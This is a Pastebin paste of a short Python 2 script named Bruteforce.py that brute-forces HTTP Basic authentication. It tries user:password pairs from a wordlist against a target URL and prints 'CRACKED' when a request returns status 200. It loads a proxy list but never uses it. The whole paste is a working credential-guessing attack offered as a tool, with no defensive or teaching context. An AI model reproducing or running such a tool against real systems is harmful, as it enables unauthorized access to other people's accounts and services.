jatinluthra14

Bruteforce.py

Nov 12th, 2016
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from sys import argv
  4. import os.path
  5. import requests
  6. import base64
  7. from colorama import Fore as foreground
  8.  
  9. if(os.path.isfile(argv[1])):
  10. wordlist = open(argv[1], "r")
  11. else:
  12. print "Error:\n\t Wordlist not found!\n"
  13. exit(1)
  14. f = open('proxies.txt')
  15.  
  16. url = argv[2]
  17. words = wordlist.readlines()
  18.  
  19. for passwd in words:
  20. user, password = passwd.split(':',1)
  21. proxy = f.next()
  22. user_pass = "%s:%s"%(user,password.strip())
  23. base64_value = base64.encodestring(user_pass).split()[0]
  24. hdr = {'Authorization': "Basic %s"%base64_value}
  25. try:
  26. res = requests.get(url, headers = hdr)
  27. except:
  28. print "No such URL"
  29. exit(1)
  30. if res.status_code == 200 :
  31. print foreground.GREEN + "%s CRACKED: "%res.status_code + passwd + foreground.RESET
  32. exit(0)
  33. elif res.status_code == 401 :
  34. print "FAILED %s: %s" %(res.status_code, passwd)
  35. else:
  36. print "Unexpected Status Code: %d "%res.status_code
Add Comment
Please, Sign In to add comment